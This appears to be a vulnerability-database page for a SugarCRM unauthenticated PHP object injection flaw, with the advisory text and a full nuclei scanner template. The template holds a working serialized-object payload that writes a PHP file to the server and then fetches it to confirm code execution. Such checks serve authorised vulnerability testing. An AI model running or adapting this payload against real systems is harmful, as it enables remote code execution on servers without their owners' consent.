Browse / CVEs / CVE-2025-25034
CVE-2025-25034· CWE-502
SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection
A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.
Impact
Unauthenticated attackers can execute arbitrary code within the application context, potentially leading to full system compromise.
Fix
Update to versions 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, 7.7.1.0 or later.
How to confirm it
Send: POST /service/v4/rest.php
Positive when: len(body)==0 and status_code == 200
Send: GET /{{filepath}}
Positive when: contains(body, md5(num)) and status_code == 200Run it with nuclei: nuclei -id CVE-2025-25034 -u <target>
The full check
id: CVE-2025-25034
info:
name: SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection
author: Redmomn
severity: critical
description: |
A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the rest_data parameter before passing it to the unserialize() function. This allows an unauthenticated attacker to submit crafted serialized data containing malicious object declarations, resulting in arbitrary code execution within the application context. Although SugarCRM released a prior fix in advisory sugarcrm-sa-2016-001, the patch was incomplete and failed to address some vectors.
impact: |
Unauthenticated attackers can execute arbitrary code within the application context, potentially leading to full system compromise.
remediation: |
Update to versions 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, 7.7.1.0 or later.
reference:
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
- https://support.sugarcrm.com/resources/security/sugarcrm-sa-2016-001/
- https://nvd.nist.gov/vuln/detail/CVE-2025-25034
- https://karmainsecurity.com/KIS-2016-07
- https://vulncheck.com/advisories/sugarcrm-php-deserialization-rce
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.3
cve-id: CVE-2025-25034
cwe-id: CWE-502
epss-score: 0.04963
epss-percentile: 0.92257
metadata:
verified: true
fofa-query: app="sugarcrm"
max-request: 2
tags: cve,cve2025,sugarcrm,rce,php,deserialization,unauth,vkev,vuln
flow: http(1) && http(2)
variables:
num: '99999999'
filepath: 'custom/{{rand_text_alpha(8)}}.php'
http:
- raw:
- |
POST /service/v4/rest.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
method=login&input_type=Serialize&rest_data=O:14:"SugarCacheFile":23:{S:17:"\00*\00_cacheFileName";s:22:"../{{filepath}}";S:16:"\00*\00_cacheChanged";b:1;S:14:"\00*\00_localStore";a:1:{i:0;s:30:"<?php echo md5('{{num}}'); ?>";}}
matchers:
- type: dsl
dsl:
- 'len(body)==0'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /{{filepath}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, md5(num))'
- 'status_code == 200'
condition: andReferences
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/sugarcrm_rest_unserialize_exec.rb
- https://support.sugarcrm.com/resources/security/sugarcrm-sa-2016-001/
- https://nvd.nist.gov/vuln/detail/CVE-2025-25034
- https://karmainsecurity.com/KIS-2016-07
- https://vulncheck.com/advisories/sugarcrm-php-deserialization-rce
Use this check only on systems you are authorised to test. Where the data comes from